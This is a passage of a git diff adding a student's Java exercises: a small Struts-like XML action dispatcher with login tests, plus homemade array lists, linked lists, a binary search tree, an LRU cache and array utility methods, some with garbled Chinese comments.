+						while (iter.hasNext()) {
+							Map.Entry entry = (Map.Entry) iter.next();
+							Object key = entry.getKey();
+							Object val = entry.getValue();
+						 for(Method m:methods){
+							 String sName=m.getName().substring(0, 3);
+							 String eName=m.getName().substring(3, m.getName().length()).toLowerCase();
+							
+							 if("set".equals(sName)&&key.equals(eName)){
+								 m.invoke(obj, val);
+								 break;
+							 }
+						 }
+						}
+					 Method exectue= c.getDeclaredMethod("execute"); 
+					 String key=(String) exectue.invoke(obj, null);
+					 String jsp;
+					 if(key!=null&&!"".equals(key)){
+						 jsp=struts.getAction().get(key);
+						 v.setJsp(jsp);
+					 }
+					 Map map=new HashMap<>();
+					 for(Method m:methods){
+						 String sName=m.getName().substring(0, 3);
+						 
+						 if("get".equals(sName)){
+							String key2=m.getName().substring(3, m.getName().length()).toLowerCase();
+							String values=(String) m.invoke(obj, null);
+							map.put(key2, values);
+						 }
+					 }	
+					 v.setParameters(map);
+					
+				} catch (Exception e) {
+					// TODO Auto-generated catch block
+					e.printStackTrace();
+				}
+				
+			}
+		} catch (DocumentException e) {
+			// TODO Auto-generated catch block
+			e.printStackTrace();
+		}
+    	
+    	
+    	return v;
+    }   
+    public Map<String, String> getAction() {
+		return action;
+	}
+	public void setAction(Map<String, String> action) {
+		this.action = action;
+	}
+	public  Map listNodes(String actionName,Element node){
+    	String name=node.getName();			//节点名字
+        if("action".equals(name)){
+        		List<Attribute> attributes=node.attributes();//获取节点属性
+             	for(Attribute attribute:attributes){
+             		String aName=attribute.getName();
+             		if("name".equals(aName)&&attribute.getValue().equals(actionName)){
+             			for(Attribute attribute2:attributes){
+             				String cName=attribute2.getName();
+             				if("class".equals(cName)){
+                 				action.put(cName, attribute2.getValue());
+                 				Iterator<Element> iterator=node.elementIterator();
+                 				while(iterator.hasNext()){
+                 					Element rNode=iterator.next();
+                 					String result=rNode.getName();
+                 					if("result".equals(result)){
+                 			    		List<Attribute> attributes3=rNode.attributes();
+                 			    		for(Attribute attribute3:attributes3){
+                 			        		String rName=attribute3.getName();
+                 			        		if("name".equals(rName)){
+                 			        			String rValue=attribute3.getValue();
+                 			        			action.put(rValue, rNode.getTextTrim());
+                 			        			break;
+                 			        		}
+                 			        	}
+                 			    		
+                 			    		
+                 			    	}
+                 					else{
+                 						break;
+                 					}
+                 				}
+                 				break;
+                 				}
+             			}
+             			find=true;
+             			break;
+             		}
+             	}
+        	 }
+        	Iterator<Element> iterator=node.elementIterator();
+        	while(iterator.hasNext()&&!find){
+        		listNodes(actionName,iterator.next());
+        	}
+        	return null;
+    }
+  
+
+}
diff --git a/group04/844028312/data-structure/src/com/coderising/litestruts/StrutsTest.java b/group04/844028312/data-structure/src/com/coderising/litestruts/StrutsTest.java
new file mode 100644
index 0000000000..6511d77741
--- /dev/null
+++ b/group04/844028312/data-structure/src/com/coderising/litestruts/StrutsTest.java
@@ -0,0 +1,50 @@
+package com.coderising.litestruts;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+
+
+
+
+public class StrutsTest {
+	@Test
+	public void testLoginActionSuccess() {
+		
+		String actionName = "login";
+        
+		Map<String,String> params = new HashMap<String,String>();
+        params.put("name","test");
+        params.put("password","1234");
+        
+        
+        View view  = Struts.runAction(actionName,params);        
+        
+        Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
+        Assert.assertEquals("login successful", view.getParameters().get("message"));
+	}
+
+	@Test
+	public void testLoginActionFailed() {
+		String actionName = "login";
+		Map<String,String> params = new HashMap<String,String>();
+        params.put("name","test");
+        params.put("password","123456"); //密码和预设的不一致
+        
+        View view  = Struts.runAction(actionName,params);        
+        			
+        Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
+        Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
+	}
+	@Test
+	public void test() {
+		String actionName = "login";
+		Map<String,String> params = new HashMap<String,String>();
+        
+        View view  = Struts.runAction(actionName,params);        
+        
+	}
+}
diff --git a/group04/844028312/data-structure/src/com/coderising/litestruts/View.java b/group04/844028312/data-structure/src/com/coderising/litestruts/View.java
new file mode 100644
index 0000000000..07df2a5dab
--- /dev/null
+++ b/group04/844028312/data-structure/src/com/coderising/litestruts/View.java
@@ -0,0 +1,23 @@
+package com.coderising.litestruts;
+
+import java.util.Map;
+
+public class View {
+	private String jsp;
+	private Map parameters;
+	
+	public String getJsp() {
+		return jsp;
+	}
+	public View setJsp(String jsp) {
+		this.jsp = jsp;
+		return this;
+	}
+	public Map getParameters() {
+		return parameters;
+	}
+	public View setParameters(Map parameters) {
+		this.parameters = parameters;
+		return this;
+	}
+}
diff --git a/group04/844028312/data-structure/src/com/coding/basic/BinaryTreeNode.java b/group04/844028312/data-structure/src/com/coding/basic/BinaryTreeNode.java
new file mode 100644
index 0000000000..d6a4c888c1
--- /dev/null
+++ b/group04/844028312/data-structure/src/com/coding/basic/BinaryTreeNode.java
@@ -0,0 +1,145 @@
+package com.coding.basic;
+
+public class BinaryTreeNode {
+	
+	private Object data;
+	private BinaryTreeNode left;
+	private BinaryTreeNode right;
+	
+	public Object getData() {
+		return data;
+	}
+	public void setData(Object data) {
+		this.data = data;
+	}
+	public BinaryTreeNode getLeft() {
+		return left;
+	}
+	public void setLeft(BinaryTreeNode left) {
+		this.left = left;
+	}
+	public BinaryTreeNode getRight() {
+		return right;
+	}
+	public void setRight(BinaryTreeNode right) {
+		this.right = right;
+	}
+	
+	public BinaryTreeNode insert(Object o){
+			if(data==null){		//�жϸ��ڵ��Ƿ�Ϊ��
+				data=o;
+				left=null;
+				right=null;
+			}
+			else{
+				int insertData=(int) o;
+				int nowData=(int) data;
+				if(left==null || right==null){				//1.left==null right==null,2.left!=null,right==null,3.left==null.right!=null
+					if(nowData>=insertData && left==null){	//�жϲ�����С����һ���ڵ�,left==null
+						left=new BinaryTreeNode();
+						left.data=o;
+						left.left=null;
+						left.right=null;
+					}
+					else if(insertData>nowData && right==null){  //�жϲ�����������һ���ڵ�,==null
+						right=new BinaryTreeNode();
+						right.data=o;
+						right.left=null;
+						right.right=null;
+					}
+					else{
+						BinaryTreeNode treeNode=null;			//��¼�ȽϽڵ�
+						if(nowData>=insertData ){				//�����ǰ���ڵ����ݴ�������������
+							treeNode=left;						//�ȽϽڵ�Ϊ��ڵ�
+						}
+						else{
+							treeNode=right;						//����Ϊ�ҽڵ�
+						}
+						BinaryTreeNode tempNode=null;			//��ʱ�ڵ㣬���ڼ�¼���ȽϽڵ����ڵ���ҽڵ�Ϊ��ʱ��¼�ȽϽڵ�
+						while(treeNode!=null){
+							nowData=(int) treeNode.data;		//���ĵ�ǰ��ֵ
+							if(insertData<=nowData){			//�����ǰ���ڵ����ݴ�������������
+								tempNode=treeNode.left;			//��ʱ�ڵ�Ϊ��ڵ�
+							}
+							else{
+								tempNode=treeNode.right;		//����Ϊ�ҽڵ�
+							}
+							if(tempNode==null){
+								tempNode=treeNode;				//��¼�ȽϽڵ�
+								if(insertData<=nowData){		//�����ǰ���ڵ����ݴ�������������
+									treeNode=treeNode.left;		//�ȽϽڵ�Ϊ��ڵ�
+								}
+								else{
+									treeNode=treeNode.right;	//����Ϊ�ҽڵ�
+								}
+							}
+							else{
+								treeNode=tempNode;				//��ʱ�ڵ㲻Ϊ��ʱ���ȽϽڵ㸳ֵΪ��ʱ�ڵ�
+							}
+						}
+						if(treeNode==null){						//���ȽϽڵ�Ϊ��ʱ
+							treeNode=new BinaryTreeNode();		//�½�����ڵ�
+							treeNode.data=o;
+							treeNode.left=null;
+							treeNode.right=null;
+							int upData=(int) tempNode.data;
+							if(insertData<=upData){				//����һ���ڵ�����ݴ��ڲ���ڵ������ʱ
+								tempNode.left=treeNode;			//��һ���ڵ����ڵ㸳�����ڵ�
+							}
+							else{
+								tempNode.right=treeNode;
+							}
+						}
+					}
+				}
+				else{	//left!=null&&right!=null
+					BinaryTreeNode treeNode=null;	//�������ж�һ��
+					if(nowData>=insertData ){
+						treeNode=left;
+					}
+					else{
+						treeNode=right;
+					}
+					BinaryTreeNode tempNode=null;
+					while(treeNode!=null){
+						nowData=(int) treeNode.data;
+						if(insertData<=nowData){
+							tempNode=treeNode.left;
+						}
+						else{
+							tempNode=treeNode.right;
+						}
+						if(tempNode==null){
+							tempNode=treeNode;
+							if(insertData<=nowData){
+								treeNode=treeNode.left;
+							}
+							else{
+								treeNode=treeNode.right;
+							}
+						}
+						else{
+							treeNode=tempNode;
+						}
+					}
+					if(treeNode==null){
+						treeNode=new BinaryTreeNode();
+						treeNode.data=o;
+						treeNode.left=null;
+						treeNode.right=null;
+						int upData=(int) tempNode.data;
+						if(insertData<=upData){
+							tempNode.left=treeNode;
+						}
+						else{
+							tempNode.right=treeNode;
+						}
+					}
+				}
+			}
+		return  this;
+	}
+	
+	
+	
+}
diff --git a/group04/844028312/data-structure/src/com/coding/basic/Iterator.java b/group04/844028312/data-structure/src/com/coding/basic/Iterator.java
new file mode 100644
index 0000000000..06ef6311b2
--- /dev/null
+++ b/group04/844028312/data-structure/src/com/coding/basic/Iterator.java
@@ -0,0 +1,7 @@
+package com.coding.basic;
+
+public interface Iterator {
+	public boolean hasNext();
+	public Object next();
+
+}
diff --git a/group04/844028312/data-structure/src/com/coding/basic/List.java b/group04/844028312/data-structure/src/com/coding/basic/List.java
new file mode 100644
index 0000000000..10d13b5832
--- /dev/null
+++ b/group04/844028312/data-structure/src/com/coding/basic/List.java
@@ -0,0 +1,9 @@
+package com.coding.basic;
+
+public interface List {
+	public void add(Object o);
+	public void add(int index, Object o);
+	public Object get(int index);
+	public Object remove(int index);
+	public int size();
+}
diff --git a/group04/844028312/data-structure/src/com/coding/basic/Queue.java b/group04/844028312/data-structure/src/com/coding/basic/Queue.java
new file mode 100644
index 0000000000..36e516e266
--- /dev/null
+++ b/group04/844028312/data-structure/src/com/coding/basic/Queue.java
@@ -0,0 +1,19 @@
+package com.coding.basic;
+
+public class Queue {
+	
+	public void enQueue(Object o){		
+	}
+	
+	public Object deQueue(){
+		return null;
+	}
+	
+	public boolean isEmpty(){
+		return false;
+	}
+	
+	public int size(){
+		return -1;
+	}
+}
diff --git a/group04/844028312/data-structure/src/com/coding/basic/Stack.java b/group04/844028312/data-structure/src/com/coding/basic/Stack.java
new file mode 100644
index 0000000000..459ec560b4
--- /dev/null
+++ b/group04/844028312/data-structure/src/com/coding/basic/Stack.java
@@ -0,0 +1,24 @@
+package com.coding.basic;
+
+import com.coding.basic.array.ArrayList;
+
+public class Stack {
+	private ArrayList elementData = new ArrayList();
+	
+	public void push(Object o){		
+	}
+	
+	public Object pop(){
+		return null;
+	}
+	
+	public Object peek(){
+		return null;
+	}
+	public boolean isEmpty(){
+		return false;
+	}
+	public int size(){
+		return -1;
+	}
+}
diff --git a/group04/844028312/data-structure/src/com/coding/basic/array/ArrayList.java b/group04/844028312/data-structure/src/com/coding/basic/array/ArrayList.java
new file mode 100644
index 0000000000..ee05b19081
--- /dev/null
+++ b/group04/844028312/data-structure/src/com/coding/basic/array/ArrayList.java
@@ -0,0 +1,100 @@
+package com.coding.basic.array;
+
+import java.util.Arrays;
+
+import com.coding.basic.Iterator;
+import com.coding.basic.List;
+
+public class ArrayList implements List {
+	
+	private int size = 0;
+	private static final int DEFAULT_CAPACITY = 10;
+	private Object[] elementData = new Object[100];
+	/**
+	 * ���Ԫ��
+	 */
+	public void add(Object o){
+		
+		if(size<elementData.length){//û�г�����������
+			elementData[size]=o;
+		}
+		
+		else{						//����������������
+			Object[] newData = new Object[elementData.length+DEFAULT_CAPACITY];	//�½�һ���������
+			System.arraycopy(elementData, 0, newData, 0, elementData.length);	//��ԭ�����������ݸ��Ƶ����������
+			newData[size]=o;		//���oԪ��
+			elementData=newData;	//elementData���������˵�����
+		}
+		size++;						//��¼��ݵĴ�С
+	}
+	
+	public void add(int index, Object o){
+		if(index>=0 && index<=size){			//�ж� index�Ƿ���size��Χ��  1 2 3 4
+			if(size+1<elementData.length){	//�ж������Ƿ�Խ��
+				System.arraycopy(elementData, index, elementData, index+1, elementData.length-index-1);	//��index���������ݺ���һλ
+				elementData[index]=o;		//index�¸���o
+			}
+			else{
+				Object[] newData = new Object[elementData.length+DEFAULT_CAPACITY];						//�½�һ���������
+				System.arraycopy(elementData, 0, newData, 0, elementData.length);						//��ԭ���鸴�Ƶ��µ�������
+				System.arraycopy(newData, index, newData, index+1, newData.length-index-1);				//���µ������index���������ݺ���һλ
+				newData[index]=o;																		//���µ������index����o
+				elementData=newData;																	//�������鸳���elementData
+			}
+			size++;					//��С��һ
+		}
+		else{
+			System.out.println("index����size����");
+		}
+		
+	}
+	
+	public Object get(int index){
+		if(index<size){					//�ж��Ƿ���size��Χ��
+			return elementData[index];  //��ȡindex�±����
+		}
+		else{
+			return null;
+		}
+	}
+	
+	public Object remove(int index){
+		Object o=null;
+		if(index<size){					//�ж��Ƿ���size��Χ��
+			o=elementData[index];		//��¼�Ƴ�����
+			elementData[index]=null;	//�ÿ�
+			System.arraycopy(elementData, index+1, elementData, index, elementData.length-index-1);// ��index+1����������ǰһλ 
+			size--;						//��С��һ
+		}
+		return o;
+	}
+	
+	public int size(){
+		return size;
+	}
+	
+	public Iterator iterator(){
+		return new Ir();
+	}
+	private class Ir implements Iterator{
+		private int cursor;
+		@Override
+		public boolean hasNext() {
+			// TODO Auto-generated method stub
+			return cursor != size;
+		}
+		@Override
+		public Object next() {
+			// TODO Auto-generated method stub
+			int i=cursor;
+			if(cursor<size){
+				cursor=i+1;
+				return elementData[i];
+			}
+			return null;
+		}
+		
+	}
+	
+	
+}
diff --git a/group04/844028312/data-structure/src/com/coding/basic/array/ArrayUtil.java b/group04/844028312/data-structure/src/com/coding/basic/array/ArrayUtil.java
new file mode 100644
index 0000000000..cdf3343da8
--- /dev/null
+++ b/group04/844028312/data-structure/src/com/coding/basic/array/ArrayUtil.java
@@ -0,0 +1,222 @@
+package com.coding.basic.array;
+
+import java.util.Arrays;
+
+public class ArrayUtil {
+	
+	/**
+	 * 给定一个整形数组a , 对该数组的值进行置换
+		例如： a = [7, 9 , 30, 3]  ,   置换后为 [3, 30, 9,7]
+		如果     a = [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
+	 * @param origin
+	 * @return
+	 */
+	public void reverseArray(int[] origin){
+		if(origin==null){
+			return;
+		}
+		int size=origin.length;
+		for(int i=0;i<size/2;i++){
+				int temp=origin[i];			//记录origin[i]的值
+				origin[i]=origin[size-1-i];
+				origin[size-1-i]=temp;
+		}
+		
+	}
+	
+	/**
+	 * 现在有如下的一个数组：   int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5}   
+	 * 要求将以上数组中值为0的项去掉，将不为0的值存入一个新的数组，生成的新数组为：   
+	 * {1,3,4,5,6,6,5,4,7,6,7,5}  
+	 * @param oldArray
+	 * @return
+	 */
+	
+	public int[] removeZero(int[] oldArray){
+		int size=oldArray.length;
+		int zero=0;	//记录0的数目
+		int []array=new int[size];
+		for(int i=0;i<size;i++){
+			if(oldArray[i]!=0){
+				array[i]=oldArray[i];
+			}
+			else{
+				zero++;
+			}
+		}
+		if(zero==0){
+			return oldArray;
+		}	
+		return Arrays.copyOf(array, zero);
+		
+	}
+	
+	/**
+	 * 给定两个已经排序好的整形数组， a1和a2 ,  创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的
+	 * 例如 a1 = [3, 5, 7,8]   a2 = [4, 5, 6,7]    则 a3 为[3,4,5,6,7,8]    , 注意： 已经消除了重复
+	 * @param array1
+	 * @param array2
+	 * @return
+	 */
+	
+	public int[] merge(int[] array1, int[] array2){
+		if(array1==null){
+			return array2;
+		}
+		if(array2==null){
+			return array1;
+		}
+		int size1=array1.length;
+		int size2=array2.length;
+		int newArray[]=new int[size1+size2];
+		int count=0;
+		int i=0;int j=0;
+		while(i<size1 && j<size2){
+			 if(array1[i]>array2[j]){
+				 newArray[count++]=array2[j++];
+				
+			 }
+			 if(array1[i]<array2[j]){
+				 newArray[count++]=array1[i++];
+				
+			 }
+			 if(array1[i]==array2[j]){
+				 newArray[count++]=array1[i++];
+				 j++;
+			 }
+		}
+		while(i==size1&&j<size2){
+			 newArray[count++]=array2[j++];
+		}
+		while(j==size1&&i<size1){
+			 newArray[count++]=array1[i++];
+		}
+		return  Arrays.copyOf(newArray, count);
+	}
+	/**
+	 * 把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
+	 * 注意，老数组的元素在新数组中需要保持
+	 * 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
+	 * [2,3,6,0,0,0]
+	 * @param oldArray
+	 * @param size
+	 * @return
+	 */
+	public int[] grow(int [] oldArray,  int size){
+		int [] newArray=new int[oldArray.length+size];
+		System.arraycopy(oldArray, 0, newArray, 0, oldArray.length);
+		return newArray;
+	}
+	
+	/**
+	 * 斐波那契数列为：1，1，2，3，5，8，13，21......  ，给定一个最大值， 返回小于该值的数列
+	 * 例如， max = 15 , 则返回的数组应该为 [1，1，2，3，5，8，13]
+	 * max = 1, 则返回空数组 []
+	 * @param max
+	 * @return
+	 */
+	public int[] fibonacci(int max){
+		int [] a = null;
+		if(max>2){
+			a=new int[max];
+			int record=2;
+			do{
+				a[0]=1;
+				a[1]=1;
+				a[record]=a[record-2]+a[record-1];
+				record++;
+			}while(a[record-1]<max);
+			a=Arrays.copyOf(a, record-1);
+		}
+		else if(max==2){
+			a=new int[2];
+			a[0]=1;
+			a[1]=1;
+		}
+		return a;
+	}
+	
+	/**
+	 * 返回小于给定最大值max的所有素数数组
+	 * 例如max = 23, 返回的数组为[2,3,5,7,11,13,17,19]
+	 * @param max
+	 * @return
+	 */
+	public int[] getPrimes(int max){
+		int n=2;//初始素数大小
+		int[] primes=new int[max];
+		int record=0;
+		if(max>=2){
+			while(n<max){
+				int jude=(int) Math.sqrt(n);
+				boolean isPrime=true;//是否是质数的标志
+				for(int i=jude;i>1;i--){
+					if(n%i==0){
+						isPrime=false;
+						break;
+					}
+					
+				}
+				if(isPrime){
+					primes[record]=n;
+					record++;
+				}
+				n++;
+			}
+		}
+		
+		return Arrays.copyOf(primes, record);
+	}
+	
+	/**
+	 * 所谓“完数”， 是指这个数恰好等于它的因子之和，例如6=1+2+3
+	 * 给定一个最大值max， 返回一个数组， 数组中是小于max 的所有完数
+	 * @param max
+	 * @return
+	 */
+	public int[] getPerfectNumbers(int max){
+		int min=6;
+		int[] perfect=new int[10];
+		int record=0;
+		if(max>=min){
+			while(min<max){
+				int sum=0;
+				for(int i=min-1;i>0;i--){
+					if(min%i==0){
+						sum=sum+i;
+					}
+				}
+				if(sum==min){
+					perfect[record]=min;
+					record++;
+				}
+				min++;
+				
+			}
+		}
+		return Arrays.copyOf(perfect, record);
+	}
+	
+	/**
+	 * 用seperator 把数组 array给连接起来
+	 * 例如array= [3,8,9], seperator = "-"
+	 * 则返回值为"3-8-9"
+	 * @param array
+	 * @param s
+	 * @return
+	 */
+	public String join(int[] array, String seperator){
+		StringBuffer sb=new StringBuffer();
+		for(int i=0;i<array.length;i++){
+			if(i==array.length-1)
+				sb.append(array[i]);
+			
+			else
+				sb.append(array[i]+seperator);
+			
+		}
+		return sb.toString();
+	}
+	
+
+}
diff --git a/group04/844028312/data-structure/src/com/coding/basic/array/ArrayUtilTest.java b/group04/844028312/data-structure/src/com/coding/basic/array/ArrayUtilTest.java
new file mode 100644
index 0000000000..82a68223c6
--- /dev/null
+++ b/group04/844028312/data-structure/src/com/coding/basic/array/ArrayUtilTest.java
@@ -0,0 +1,66 @@
+package com.coding.basic.array;
+
+import static org.junit.Assert.*;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+public class ArrayUtilTest {
+	private ArrayUtil arrayUtil;
+	@Before
+	public void setUp() throws Exception {
+		arrayUtil=new ArrayUtil();
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testReverseArray() {
+		int []origin={1,2,3,4,5,6};
+		arrayUtil.reverseArray(origin);
+	}
+	@Test
+	public void testRemoveZero() {
+		int []oleArray={0,0,1,2,3,0,0,0,4,5,6,0,0,0};
+		int []newArray=arrayUtil.removeZero(oleArray);
+		System.out.println(newArray);
+	}
+	@Test
+	public void testMerge() {
+		int []array1={2,4,5,6,7};
+		int []array2={6,7,8,9,10};
+		int []newArray=arrayUtil.merge(array1, array2);
+		System.out.println(newArray);
+	}
+	@Test
+	public void testGrow() {
+		int []array1={2,4,2,5,9};
+		int []newArray=arrayUtil.grow(array1, 3);
+		System.out.println(newArray);
+	}
+	@Test
+	public void testFibonacci() {
+		int []newArray=arrayUtil.fibonacci(25);
+		System.out.println(newArray);
+	}
+	@Test
+	public void testGetPrimes() {
+		int []newArray=arrayUtil.getPrimes(25);
+		System.out.println(newArray);
+	}
+	@Test
+	public void testGetPerfectNumbers() {
+		int []newArray=arrayUtil.getPerfectNumbers(500);
+		System.out.println(newArray);
+	}
+	@Test
+	public void testJoin() {
+		int []array1={2,4,2,5,9};
+		String a=arrayUtil.join(array1, "-");
+		System.out.println(a);
+	}
+	
+}
diff --git a/group04/844028312/data-structure/src/com/coding/basic/linklist/LRUPageFrame.java b/group04/844028312/data-structure/src/com/coding/basic/linklist/LRUPageFrame.java
new file mode 100644
index 0000000000..0d305f7b06
--- /dev/null
+++ b/group04/844028312/data-structure/src/com/coding/basic/linklist/LRUPageFrame.java
@@ -0,0 +1,127 @@
+package com.coding.basic.linklist;
+
+/**
+ * 用双向链表实现LRU算法
+ * @author liuxin
+ *
+ */
+public class LRUPageFrame {
+	
+	private static class Node {
+		
+		Node prev;
+		Node next;
+		int pageNum;
+
+		Node(Node prev,Node next,int pageNum) {
+			this.prev=prev;
+			this.next=next;
+			this.pageNum=pageNum;
+		}
+	}
+
+	private int capacity;
+	
+	
+	private Node first;// 链表头
+	private Node last;// 链表尾
+
+	
+	public LRUPageFrame(int capacity) {
+		
+		this.capacity = capacity;
+		
+	}
+
+	/**
+	 * 获取缓存中对象
+	 * 
+	 * @param key
+	 * @return
+	 */
+	public void access(int pageNum) {
+		if(this.first==null){
+			first=new Node(null,null,pageNum);
+			return ;
+		}
+		else{
+			 if(last==null){
+				if(!moveToFirst(pageNum)){ 
+					Node nf=new Node(null,this.first,pageNum);
+					this.first.prev=nf;
+					this.first=nf;
+					//判断是否为最后一个
+					Node cur=this.first;
+					int i=1;
+					while(cur!=null){
+						cur=cur.next;
+						i++;
+						if(i==this.capacity){
+							this.last=cur;
+							break;
+						}
+					}
+				}
+			}
+			else{
+				if(!moveToFirst(pageNum)){
+					Node nf=new Node(null,this.first,pageNum);
+					this.first.prev=nf;
+					this.first=nf;
+					this.last.prev.next=null;
+					this.last=this.last.prev;
+				}
+			}
+		}
+	
+	}
+	public boolean moveToFirst(int pageNum){
+		Node indexOf=indexOf(pageNum);
+		if(indexOf!=null){
+			if(indexOf==this.first){
+				return true;
+			}
+			else if(indexOf==this.last){
+				this.first.prev=indexOf;
+				this.last=indexOf.prev;
+				this.last.next=null;
+				indexOf.next=this.first;
+				this.first=indexOf;
+			}
+			else{
+				indexOf.next.prev=indexOf.prev;  
+				indexOf.prev.next=indexOf.next;
+				this.first.prev=indexOf;
+				indexOf.prev=null;
+				indexOf.next=this.first;
+				this.first=indexOf;
+			}
+			return true;
+		}
+		return false;
+	}
+	public Node indexOf(int pageNum){
+		Node cur=this.first;
+		while(cur!=null){
+			if(cur.pageNum==pageNum){
+				return cur;
+			}
+			cur=cur.next;
+		}
+		return null;
+	}
+
+	public String toString(){
+		StringBuilder buffer = new StringBuilder();
+		Node node = first;
+		while(node != null){
+			buffer.append(node.pageNum);	
+			node = node.next;
+			if(node != null){
+				buffer.append(",");
+			}
+		}
+		return buffer.toString();
+	}
+	
+}
diff --git a/group04/844028312/data-structure/src/com/coding/basic/linklist/LRUPageFrameTest.java b/group04/844028312/data-structure/src/com/coding/basic/linklist/LRUPageFrameTest.java
new file mode 100644
index 0000000000..67cf36067b
--- /dev/null
+++ b/group04/844028312/data-structure/src/com/coding/basic/linklist/LRUPageFrameTest.java
@@ -0,0 +1,31 @@
+package com.coding.basic.linklist;
+
+import  org.junit.Assert;
+
+import org.junit.Test;
+
+
+public class LRUPageFrameTest {
+	
+	@Test
+	public void testAccess() {
+		LRUPageFrame frame = new LRUPageFrame(3);
+		frame.access(7);
+		frame.access(0);
+		frame.access(1);
+		Assert.assertEquals("1,0,7", frame.toString());
+		frame.access(2);
+		Assert.assertEquals("2,1,0", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,2,1", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,2,1", frame.toString());
+		frame.access(3);
+		Assert.assertEquals("3,0,2", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,3,2", frame.toString());
+		frame.access(4);
+		Assert.assertEquals("4,0,3", frame.toString());
+	}
+
+}
diff --git a/group04/844028312/data-structure/src/com/coding/basic/linklist/LinkedList.java b/group04/844028312/data-structure/src/com/coding/basic/linklist/LinkedList.java
new file mode 100644
index 0000000000..862dffb8d9
--- /dev/null
+++ b/group04/844028312/data-structure/src/com/coding/basic/linklist/LinkedList.java
@@ -0,0 +1,420 @@
+package com.coding.basic.linklist;
+
+import java.util.Arrays;
+
+import com.coding.basic.Iterator;
+import com.coding.basic.List;
+
+public class LinkedList implements List {
+	
+	private Node head;
+	private Node last;
+	private int size=0;
+	public void add(Object o){
+		if(head==null){
+			head =new Node();
+			head.data=o;
+			last=head;
+		}
+		else{
+			Node temp=new Node();
+			temp.data=o;
+			last.next=temp;
+			last=temp;
+		}
+		size++;
+	}
+	public boolean enCapacity(int index){
+		if(index>=0&&index<size){
+			return true;
+		}
+		return false;
+	}
+	public Node indexOf(int index){
+		if(enCapacity(index)){
+				Node current=head;
+				int currentIndex=0;
+				while(current!=null){
+					if(currentIndex==index){
+						return current;
+					}
+					current=current.next;
+					currentIndex++;
+				}
+			
+		}
+		return null;
+	}
+	public void add(int index , Object o){
+		 if(enCapacity(index)){
+			 Node newNode=new Node();
+			 newNode.data=o;
+			 if(index==0){
+				 newNode.next=head;
+				 head=newNode;
+			 }
+			 else{
+				 Node BIndexOf=indexOf(index-1);
+				 Node indexOf=indexOf(index);
+				 newNode.next=indexOf;
+				 BIndexOf.next=newNode;
+			 }
+			size++;
+		}
+		 else if(index==size){
+			 Node newNode=new Node();
+			 newNode.data=o;
+			last.next=newNode;
+			last=newNode;
+		 }
+		
+		
+	}
+	public Object get(int index){
+		if(enCapacity(index)){
+			Node current=head;
+			int currentIndex=0;
+			while(current!=null){
+				if(currentIndex==index){
+					return current.data;
+				}
+				current=current.next;
+				currentIndex++;
+			}
+		}
+		return null;
+	}
+	public Object remove(int index){
+		Node remove =indexOf(index);
+		if(index==0){
+			head=head.next;
+			size--;
+			return remove.data;
+		}
+		else if(index+1==size){
+			Node bRemove =indexOf(index-1);
+			bRemove.next=null;
+			last=bRemove;
+			size--;
+			return remove.data;
+		}
+		else if(remove!=null){
+			Node bRemove =indexOf(index-1);
+			Node aRemove =indexOf(index+1);
+			bRemove.next=aRemove;
+			size--;
+			return remove.data;
+		}
+		return null;
+	}
+	
+	public int size(){
+		return size;
+	}
+	
+	public void addFirst(Object o){
+		Node first=new Node();
+		first.data=o;
+		first.next=head;
+		head=first;
+		size++;
+		
+	}
+	public void addLast(Object o){
+		Node last=new Node();
+		last.data=o;
+		this.last.next=last;
+		this.last=last;
+		size++;
+	}
+	public Object removeFirst(){
+		Node temp=head;
+		head=head.next;
+		size--;
+		return temp.data;
+	}
+	public Object removeLast(){
+		Node temp=last;
+		last=indexOf(size-2);
+		last.next=null;
+		size--;
+		return temp.data;
+	}
+	public Iterator iterator(){
+		return new ListIterator();
+	}
+	
+	
+	private static  class Node{
+		Object data;
+		Node next;
+		
+	}
+	
+	public class ListIterator implements Iterator{
+		private int curos;
+		@Override
+		public boolean hasNext() {
+			// TODO Auto-generated method stub
+			return curos!=size;
+		}
+
+		@Override
+		public Object next() {
+			// TODO Auto-generated method stub
+			int i=0;
+			curos=i+1;
+			return get(i);
+		}
+		
+	}
+	/**
+	 * 把该链表逆置  1 2 3 4 5
+	 * 例如链表为 3->7->10 , 逆置后变为  10->7->3
+	 */
+	public  void reverse(){
+		Node temp1=last;
+		for(int i=size-2;i>=0;i--){
+			Node temp2=indexOf(i);
+			temp1.next=temp2;
+			temp1=temp2;
+		}
+		head.next=null;
+		temp1=head;
+		head=last;
+		last=temp1;
+	}
+	
+	
+	/**
+	 * 删除一个单链表的前半部分
+	 * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
+	 * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
+
+	 */
+	public  void removeFirstHalf(){
+		if(size>1){
+			Node index=indexOf(size/2-1);
+			index.next=null;
+			last=index;
+			size=size-size/2;
+		}
+	}
+	
+	/**
+	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
+	 * @param i
+	 * @param length
+	 */
+	public  void remove(int i, int length){//1 2 3 4 5
+		if( i<size && i>=0){
+			int len=length+i>size? size-i:length;
+			int j=0;
+			while(j<len){
+				remove(i);
+				j++;
+			}
+		}
+		/*if((length+i)<=size && length>0 && i>=0){
+			Node before=indexOf(i-1);
+			Node after=indexOf(length+i);
+			if(before==null&&after==null){
+				head=null;
+				last=null;
+				size=0;
+			}
+			else if(before==null&&after!=null){
+				head=after;
+				size=size-length;
+			}
+			else if(before!=null&&after==null){
+				before.next=null;
+				last=before;
+				size=size-length;
+			}
+			else{
+				before.next=after;
+				size=size-length;
+			}
+		}*/
+		
+	}
+	/**
+	 * 假定当前链表和listB均包含已升序排列的整数
+	 * 从当前链表中取出那些listB所指定的元素
